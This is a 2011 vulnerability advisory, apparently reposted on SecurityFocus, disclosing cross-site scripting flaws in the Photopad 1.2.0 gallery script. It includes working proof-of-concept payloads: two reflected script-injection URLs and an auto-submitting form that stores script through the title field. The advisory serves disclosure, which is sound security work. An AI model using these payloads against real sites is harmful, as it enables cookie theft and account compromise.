HTB22828: Multiple XSS vulnerabilities in Photopad Feb 15 2011 11:11AM
advisory htbridge ch
Vulnerability ID: HTB22828
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_photopad
.html
Product: Photopad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "files.php" and "gallery.php" scripts to properly sanitize user-supplied input in "id", "data[title]" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerabilities. The following PoC is available:
1.
http://host/files.php?action=edit&id=999"><script>alert(document.cookie)
</script>
2.
http://host/gallery.php?action=view&id=999"><script>alert(document.cooki
e)</script>
3.

<form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>
</form>
<script>
document.main.submit();
</script>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus